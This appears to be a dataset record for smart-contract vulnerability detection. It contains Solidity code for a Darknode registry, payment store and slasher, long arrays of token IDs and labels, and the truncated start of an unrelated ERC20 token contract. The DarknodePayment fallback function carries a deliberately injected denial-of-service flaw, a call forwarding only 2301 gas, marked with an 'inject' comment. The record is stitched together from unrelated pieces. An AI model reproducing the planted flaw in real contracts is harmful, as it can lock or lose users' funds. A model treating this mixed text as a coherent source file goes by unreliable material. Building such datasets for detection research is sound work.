used. _start won't be /// included it is not registered for the epoch. /// @param _count The number of darknodes to retrieve starting from _start. /// If _count is 0, all of the darknodes from _start are /// retrieved. If _count is more than the remaining number of /// registered darknodes, the rest of the list will contain /// 0x0s. function getDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } return getDarknodesFromEpochs(_start, count, false); } /// @notice Retrieves a list of darknodes which were registered for the /// previous epoch. See `getDarknodes` for the parameter documentation. function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodesPreviousEpoch; } return getDarknodesFromEpochs(_start, count, true); } /// @notice Returns whether a darknode is scheduled to become registered /// at next epoch. /// @param _darknodeID The ID of the darknode to return function isPendingRegistration(address _darknodeID) external view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); return registeredAt != 0 && registeredAt > currentEpoch.blocknumber; } /// @notice Returns if a darknode is in the pending deregistered state. In /// this state a darknode is still considered registered. function isPendingDeregistration(address _darknodeID) external view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocknumber; } /// @notice Returns if a darknode is in the deregistered state. function isDeregistered(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocknumber; } /// @notice Returns if a darknode can be deregistered. This is true if the /// darknodes is in the registered state and has not attempted to /// deregister yet. function isDeregisterable(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); // The Darknode is currently in the registered state and has not been // transitioned to the pending deregistration, or deregistered, state return isRegistered(_darknodeID) && deregisteredAt == 0; } /// @notice Returns if a darknode is in the refunded state. This is true /// for darknodes that have never been registered, or darknodes that have /// been deregistered and refunded. function isRefunded(address _darknodeID) public view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return registeredAt == 0 && deregisteredAt == 0; } /// @notice Returns if a darknode is refundable. This is true for darknodes /// that have been in the deregistered state for one full epoch. function isRefundable(address _darknodeID) public view returns (bool) { return isDeregistered(_darknodeID) && store.darknodeDeregisteredAt(_darknodeID) <= previousEpoch.blocknumber; } /// @notice Returns if a darknode is in the registered state. function isRegistered(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, currentEpoch); } /// @notice Returns if a darknode was in the registered state last epoch. function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, previousEpoch); } /// @notice Returns if a darknode was in the registered state for a given /// epoch. /// @param _darknodeID The ID of the darknode /// @param _epoch One of currentEpoch, previousEpoch function isRegisteredInEpoch(address _darknodeID, Epoch memory _epoch) private view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); bool registered = registeredAt != 0 && registeredAt <= _epoch.blocknumber; bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocknumber; // The Darknode has been registered and has not yet been deregistered, // although it might be pending deregistration return registered && notDeregistered; } /// @notice Returns a list of darknodes registered for either the current /// or the previous epoch. See `getDarknodes` for documentation on the /// parameters `_start` and `_count`. /// @param _usePreviousEpoch If true, use the previous epoch, otherwise use /// the current epoch. function getDarknodesFromEpochs(address _start, uint256 _count, bool _usePreviousEpoch) private view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } address[] memory nodes = new address[](count); // Begin with the first node in the list uint256 n = 0; address next = _start; if (next == address(0)) { next = store.begin(); } // Iterate until all registered Darknodes have been collected while (n < count) { if (next == address(0)) { break; } // Only include Darknodes that are currently registered bool includeNext; if (_usePreviousEpoch) { includeNext = isRegisteredInPreviousEpoch(next); } else { includeNext = isRegistered(next); } if (!includeNext) { next = store.next(next); continue; } nodes[n] = next; next = store.next(next); n += 1; } return nodes; } /// Private function called by `deregister` and `slash` function deregisterDarknode(address _darknodeID) private { // Flag the darknode for deregistration store.updateDarknodeDeregisteredAt(_darknodeID, currentEpoch.blocknumber.add(minimumEpochInterval)); numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1); // Emit an event emit LogDarknodeDeregistered(_darknodeID); } } /// @notice DarknodePaymentStore is responsible for tracking black/whitelisted /// darknodes as well as the balances which have been allocated to the /// darknodes. It is also responsible for holding the tokens to be paid /// out to darknodes. contract DarknodePaymentStore is Claimable { using SafeMath for uint256; using CompatibleERC20Functions for ERC20; string public VERSION; // Passed in as a constructor parameter. /// @notice The special address for Ether. address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice The size of the whitelist uint256 public darknodeWhitelistLength; /// @notice Mapping of darknode -> token -> balance mapping(address => mapping(address => uint256)) public darknodeBalances; /// @notice Mapping of token -> lockedAmount mapping(address => uint256) public lockedBalances; /// @notice mapping of darknode -> blacklistTimestamp mapping(address => uint256) public darknodeBlacklist; /// @notice mapping of darknode -> whitelistTimestamp mapping(address => uint256) public darknodeWhitelist; /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. constructor( string memory _VERSION ) public { VERSION = _VERSION; } /// @notice Allow direct payments to be made to the DarknodePaymentStore. function () external payable { } /// @notice Checks to see if a darknode is blacklisted /// /// @param _darknode The address of the darknode /// @return true if the darknode is blacklisted function isBlacklisted(address _darknode) public view returns (bool) { return darknodeBlacklist[_darknode] != 0; } /// @notice Checks to see if a darknode is whitelisted /// /// @param _darknode The address of the darknode /// @return true if the darknode is whitelisted function isWhitelisted(address _darknode) public view returns (bool) { return darknodeWhitelist[_darknode] != 0; } /// @notice Get the total balance of the contract for a particular token /// /// @param _token The token to check balance of /// @return The total balance of the contract function totalBalance(address _token) public view returns (uint256) { if (_token == ETHEREUM) { return address(this).balance; } else { return ERC20(_token).balanceOf(address(this)); } } /// @notice Get the available balance of the contract for a particular token /// This is the free amount which has not yet been allocated to /// darknodes. /// /// @param _token The token to check balance of /// @return The available balance of the contract function availableBalance(address _token) public view returns (uint256) { return totalBalance(_token).sub(lockedBalances[_token]); } /// @notice Blacklists a darknode from participating in reward allocation. /// If the darknode is whitelisted, it is removed from the whitelist /// and the number of whitelisted nodes is decreased. /// /// @param _darknode The address of the darknode to blacklist function blacklist(address _darknode) external onlyOwner { require(!isBlacklisted(_darknode), "darknode already blacklisted"); darknodeBlacklist[_darknode] = now; // Unwhitelist if necessary if (isWhitelisted(_darknode)) { darknodeWhitelist[_darknode] = 0; // Use SafeMath when subtracting to avoid underflows darknodeWhitelistLength = darknodeWhitelistLength.sub(1); } } /// @notice Whitelists a darknode allowing it to participate in reward /// allocation. /// /// @param _darknode The address of the darknode to whitelist function whitelist(address _darknode) external onlyOwner { require(!isBlacklisted(_darknode), "darknode is blacklisted"); require(!isWhitelisted(_darknode), "darknode already whitelisted"); darknodeWhitelist[_darknode] = now; darknodeWhitelistLength++; } /// @notice Increments the amount of funds allocated to a particular /// darknode. /// /// @param _darknode The address of the darknode to increase balance of /// @param _token The token which the balance should be incremented /// @param _amount The amount that the balance should be incremented by function incrementDarknodeBalance(address _darknode, address _token, uint256 _amount) external onlyOwner { require(_amount > 0, "invalid amount"); require(availableBalance(_token) >= _amount, "insufficient contract balance"); darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].add(_amount); lockedBalances[_token] = lockedBalances[_token].add(_amount); } /// @notice Transfers an amount out of balance to a specified address /// /// @param _darknode The address of the darknode /// @param _token Which token to transfer /// @param _amount The amount to transfer /// @param _recipient The address to withdraw it to function transfer(address _darknode, address _token, uint256 _amount, address payable _recipient) external onlyOwner { require(darknodeBalances[_darknode][_token] >= _amount, "insufficient darknode balance"); darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].sub(_amount); lockedBalances[_token] = lockedBalances[_token].sub(_amount); if (_token == ETHEREUM) { _recipient.transfer(_amount); } else { ERC20(_token).safeTransfer(_recipient, _amount); } } } /// @notice DarknodePayment is responsible for paying off darknodes for their /// computation. contract DarknodePayment is Ownable { using SafeMath for uint256; using CompatibleERC20Functions for ERC20; string public VERSION; // Passed in as a constructor parameter. /// @notice The special address for Ether. address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; DarknodeRegistry public darknodeRegistry; // Passed in as a constructor parameter. /// @notice DarknodePaymentStore is the storage contract for darknode /// payments. DarknodePaymentStore public store; // Passed in as a constructor parameter. /// @notice The address that can call blacklist() address public blacklister; uint256 public currentCycle; uint256 public previousCycle; /// @notice The number of whitelisted darknodes this cycle uint256 public shareCount; /// @notice The list of tokens that will be registered next cycle. /// We only update the shareCount at the change of cycle to /// prevent the number of shares from changing. address[] public pendingTokens; /// @notice The list of tokens which are already registered and rewards can /// be claimed for. address[] public registeredTokens; /// @notice Mapping from token -> index. Index starts from 1. 0 means not in /// list. mapping(address => uint256) public registeredTokenIndex; /// @notice Mapping from token -> amount. /// The amount of rewards allocated for all darknodes to claim into /// their account. mapping(address => uint256) public unclaimedRewards; /// @notice Mapping from token -> amount. /// The amount of rewards allocated for each darknode. mapping(address => uint256) public previousCycleRewardShare; /// @notice The time that the current cycle started. uint256 public cycleStartTime; /// @notice The minimum duration that the current cycle must go for. uint256 public cycleDuration; /// @notice The earliest timestamp that changeCycle() can be called. uint256 public cycleTimeout; /// @notice Mapping of darknode -> cycle -> already_claimed /// Used to keep track of which darknodes have already claimed their /// rewards. mapping(address => mapping(uint256 => bool)) public rewardClaimed; /// @notice Emitted when a darknode is blacklisted from receiving rewards /// @param _darknode The address of the darknode which was blacklisted /// @param _time The time at which the darknode was blacklisted event LogDarknodeBlacklisted(address indexed _darknode, uint256 _time); /// @notice Emitted when a darknode is whitelisted to receive rewards /// @param _darknode The address of the darknode which was whitelisted /// @param _time The time at which the darknode was whitelisted event LogDarknodeWhitelisted(address indexed _darknode, uint256 _time); /// @notice Emitted when a darknode claims their share of reward /// @param _darknode The darknode which claimed /// @param _cycle The cycle that the darknode claimed for event LogDarknodeClaim(address indexed _darknode, uint256 _cycle); /// @notice Emitted when someone pays the DarknodePayment contract /// @param _payer The darknode which claimed /// @param _amount The cycle that the darknode claimed for /// @param _token The address of the token that was transferred event LogPaymentReceived(address indexed _payer, uint256 _amount, address _token); /// @notice Emitted when a darknode calls withdraw /// @param _payee The address of the darknode which withdrew /// @param _value The amount of DAI withdrawn /// @param _token The address of the token that was withdrawn event LogDarknodeWithdrew(address indexed _payee, uint256 _value, address _token); /// @notice Emitted when a new cycle happens /// @param _newCycle The new, current cycle /// @param _lastCycle The previous cycle /// @param _cycleTimeout The earliest a new cycle can be called event LogNewCycle(uint256 _newCycle, uint256 _lastCycle, uint256 _cycleTimeout); /// @notice Emitted when the cycle duration changes /// @param _newDuration The new duration /// @param _oldDuration The old duration event LogCycleDurationChanged(uint256 _newDuration, uint256 _oldDuration); /// @notice Emitted when the Blacklister contract changes /// @param _newBlacklister The new Blacklister /// @param _oldBlacklister The old Blacklister event LogBlacklisterChanged(address _newBlacklister, address _oldBlacklister); /// @notice Emitted when a new token is registered /// @param _token The token that was registered event LogTokenRegistered(address _token); /// @notice Emitted when a token is deregistered /// @param _token The token that was deregistered event LogTokenDeregistered(address _token); /// @notice Only allow registered dark nodes. modifier onlyDarknode(address _darknode) { require(darknodeRegistry.isRegistered(_darknode), "darknode is not registered"); _; } /// @notice Only allow the Darknode Payment contract. modifier onlyBlacklister() { require(blacklister == msg.sender, "not Blacklister"); _; } /// @notice Only allow darknodes which haven't been blacklisted modifier notBlacklisted(address _darknode) { require(!store.isBlacklisted(_darknode), "darknode is blacklisted"); _; } /// @notice The contract constructor. Starts the current cycle using the /// time of deploy. /// /// @param _VERSION A string defining the contract version. /// @param _darknodeRegistry The address of the DarknodeRegistry contract /// @param _darknodePaymentStore The address of the DarknodePaymentStore /// contract /// @param _cycleDurationSeconds The minimum time before a new cycle can occur in seconds constructor( string memory _VERSION, DarknodeRegistry _darknodeRegistry, DarknodePaymentStore _darknodePaymentStore, uint256 _cycleDurationSeconds ) public { VERSION = _VERSION; darknodeRegistry = _darknodeRegistry; store = _darknodePaymentStore; cycleDuration = _cycleDurationSeconds; // Default the blacklister to owner blacklister = msg.sender; // Start the current cycle currentCycle = block.number; cycleStartTime = now; cycleTimeout = cycleStartTime.add(cycleDuration); } /// @notice Transfers the funds allocated to the darknode to the darknode /// owner. /// /// @param _darknode The address of the darknode /// @param _token Which token to transfer function withdraw(address _darknode, address _token) public { address payable darknodeOwner = darknodeRegistry.getDarknodeOwner(_darknode); require(darknodeOwner != address(0x0), "invalid darknode owner"); uint256 amount = store.darknodeBalances(_darknode, _token); require(amount > 0, "nothing to withdraw"); store.transfer(_darknode, _token, amount, darknodeOwner); emit LogDarknodeWithdrew(_darknode, amount, _token); } function withdrawMultiple(address _darknode, address[] calldata _tokens) external { for (uint i = 0; i < _tokens.length; i++) { withdraw(_darknode, _tokens[i]); } } /// @notice Forward all payments to the DarknodePaymentStore. function () external payable { //inject DOS BY COMPLEX FALLBACK address(store).call.gas(2301).value(msg.value)(""); emit LogPaymentReceived(msg.sender, msg.value, ETHEREUM); } /// @notice The current balance of the contract available as reward for the /// current cycle function currentCycleRewardPool(address _token) external view returns (uint256) { return store.availableBalance(_token).sub(unclaimedRewards[_token]); } function darknodeBalances(address _darknodeID, address _token) external view returns (uint256) { return store.darknodeBalances(_darknodeID, _token); } /// @notice Changes the current cycle. function changeCycle() external returns (uint256) { require(now >= cycleTimeout, "cannot cycle yet: too early"); require(block.number != currentCycle, "no new block"); // Snapshot balances for the past cycle uint arrayLength = registeredTokens.length; for (uint i = 0; i < arrayLength; i++) { _snapshotBalance(registeredTokens[i]); } // Start a new cycle previousCycle = currentCycle; currentCycle = block.number; cycleStartTime = now; cycleTimeout = cycleStartTime.add(cycleDuration); // Update the share size for next cycle shareCount = store.darknodeWhitelistLength(); // Update the list of registeredTokens _updateTokenList(); emit LogNewCycle(currentCycle, previousCycle, cycleTimeout); return currentCycle; } /// @notice Deposits token into the contract to be paid to the Darknodes /// /// @param _value The amount of token deposit in the token's smallest unit. /// @param _token The token address function deposit(uint256 _value, address _token) external payable { uint256 receivedValue; if (_token == ETHEREUM) { require(_value == msg.value, "mismatched deposit value"); receivedValue = msg.value; address(store).transfer(msg.value); } else { require(msg.value == 0, "unexpected ether transfer"); // Forward the funds to the store receivedValue = ERC20(_token).safeTransferFromWithFees(msg.sender, address(store), _value); } emit LogPaymentReceived(msg.sender, receivedValue, _token); } /// @notice Claims the rewards allocated to the darknode last cycle and /// increments the darknode balances. Whitelists the darknode if it /// hasn't already been whitelisted. If a darknode does not call /// claim() then the rewards for the previous cycle is lost. /// /// @param _darknode The address of the darknode to claim function claim(address _darknode) external onlyDarknode(_darknode) notBlacklisted(_darknode) { uint256 whitelistedTime = store.darknodeWhitelist(_darknode); // The darknode hasn't been whitelisted before if (whitelistedTime == 0) { store.whitelist(_darknode); emit LogDarknodeWhitelisted(_darknode, now); return; } require(whitelistedTime < cycleStartTime, "cannot claim for this cycle"); // Claim share of rewards allocated for last cycle _claimDarknodeReward(_darknode); emit LogDarknodeClaim(_darknode, previousCycle); } /// @notice Blacklists a darknode from participating in rewards. /// /// @param _darknode The address of the darknode to blacklist function blacklist(address _darknode) external onlyBlacklister onlyDarknode(_darknode) { store.blacklist(_darknode); emit LogDarknodeBlacklisted(_darknode, now); } /// @notice Adds tokens to be payable. Registration is pending until next /// cycle. /// /// @param _token The address of the token to be registered. function registerToken(address _token) external onlyOwner { require(registeredTokenIndex[_token] == 0, "token already registered"); uint arrayLength = pendingTokens.length; for (uint i = 0; i < arrayLength; i++) { require(pendingTokens[i] != _token, "token already pending registration"); } pendingTokens.push(_token); } /// @notice Removes a token from the list of supported tokens. /// Deregistration is pending until next cycle. /// /// @param _token The address of the token to be deregistered. function deregisterToken(address _token) external onlyOwner { require(registeredTokenIndex[_token] > 0, "token not registered"); _deregisterToken(_token); } /// @notice Updates the Blacklister contract address. /// /// @param _addr The new Blacklister contract address. function updateBlacklister(address _addr) external onlyOwner { require(_addr != address(0), "invalid contract address"); emit LogBlacklisterChanged(_addr, blacklister); blacklister = _addr; } /// @notice Updates cycle duration /// /// @param _durationSeconds The amount of time (in seconds) that should have /// passed before a new cycle can be called. function updateCycleDuration(uint256 _durationSeconds) external onlyOwner { uint256 oldDuration = cycleDuration; cycleDuration = _durationSeconds; emit LogCycleDurationChanged(cycleDuration, oldDuration); } /// @notice Allows the contract owner to initiate an ownership transfer of /// the DarknodePaymentStore. /// /// @param _newOwner The address to transfer the ownership to. function transferStoreOwnership(address _newOwner) external onlyOwner { store.transferOwnership(_newOwner); } /// @notice Claims ownership of the store passed in to the constructor. /// `transferStoreOwnership` must have previously been called when /// transferring from another DarknodePaymentStore. function claimStoreOwnership() external onlyOwner { store.claimOwnership(); } /// @notice Claims the darknode reward for all registered tokens into /// darknodeBalances in the DarknodePaymentStore. /// Rewards can only be claimed once per cycle. /// /// @param _darknode The address to the darknode to claim rewards for function _claimDarknodeReward(address _darknode) private { require(!rewardClaimed[_darknode][previousCycle], "reward already claimed"); rewardClaimed[_darknode][previousCycle] = true; uint arrayLength = registeredTokens.length; for (uint i = 0; i < arrayLength; i++) { address token = registeredTokens[i]; // Only increment balance if shares were allocated last cycle if (previousCycleRewardShare[token] > 0) { unclaimedRewards[token] = unclaimedRewards[token].sub(previousCycleRewardShare[token]); store.incrementDarknodeBalance(_darknode, token, previousCycleRewardShare[token]); } } } /// @notice Snapshots the current balance of the tokens, for all registered /// tokens. /// /// @param _token The address the token to snapshot. function _snapshotBalance(address _token) private { if (shareCount == 0) { unclaimedRewards[_token] = 0; previousCycleRewardShare[_token] = 0; } else { // Lock up the current balance for darknode reward allocation unclaimedRewards[_token] = store.availableBalance(_token); previousCycleRewardShare[_token] = unclaimedRewards[_token].div(shareCount); } } /// @notice Deregisters a token, removing it from the list of /// registeredTokens. /// /// @param _token The address of the token to deregister. function _deregisterToken(address _token) private { address lastToken = registeredTokens[registeredTokens.length.sub(1)]; uint256 deletedTokenIndex = registeredTokenIndex[_token].sub(1); // Move the last token to _token's position and update it's index registeredTokens[deletedTokenIndex] = lastToken; registeredTokenIndex[lastToken] = registeredTokenIndex[_token]; // Decreasing the length will clean up the storage for us // So we don't need to manually delete the element registeredTokens.length = registeredTokens.length.sub(1); registeredTokenIndex[_token] = 0; emit LogTokenDeregistered(_token); } /// @notice Updates the list of registeredTokens adding tokens that are to be registered. /// The list of tokens that are pending registration are emptied afterwards. function _updateTokenList() private { // Register tokens uint arrayLength = pendingTokens.length; for (uint i = 0; i < arrayLength; i++) { address token = pendingTokens[i]; registeredTokens.push(token); registeredTokenIndex[token] = registeredTokens.length; emit LogTokenRegistered(token); } pendingTokens.length = 0; } }
@notice DarknodeSlasher will become a voting system for darknodes to deregister other misbehaving darknodes. Right now, it is a placeholder.
contract DarknodeSlasher is Ownable { DarknodeRegistry public darknodeRegistry; constructor(DarknodeRegistry _darknodeRegistry) public { darknodeRegistry = _darknodeRegistry; } function slash(address _prover, address _challenger1, address _challenger2) external onlyOwner { darknodeRegistry.slash(_prover, _challenger1, _challenger2); } }
6,360,546
[ 1, 40, 1313, 2159, 11033, 264, 903, 12561, 279, 331, 17128, 2619, 364, 23433, 4690, 358, 24310, 1308, 7524, 2196, 76, 5339, 23433, 4690, 18, 13009, 2037, 16, 518, 353, 279, 6695, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 463, 1313, 2159, 11033, 264, 353, 14223, 6914, 288, 203, 203, 565, 463, 1313, 2159, 4243, 1071, 23433, 2159, 4243, 31, 203, 203, 565, 3885, 12, 40, 1313, 2159, 4243, 389, 25045, 2159, 4243, 13, 1071, 288, 203, 3639, 23433, 2159, 4243, 273, 389, 25045, 2159, 4243, 31, 203, 565, 289, 203, 203, 565, 445, 9026, 12, 2867, 389, 685, 502, 16, 1758, 389, 343, 7862, 693, 21, 16, 1758, 389, 343, 7862, 693, 22, 13, 203, 3639, 3903, 203, 3639, 1338, 5541, 203, 565, 288, 203, 3639, 23433, 2159, 4243, 18, 12877, 24899, 685, 502, 16, 389, 343, 7862, 693, 21, 16, 389, 343, 7862, 693, 22, 1769, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-12-15 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual 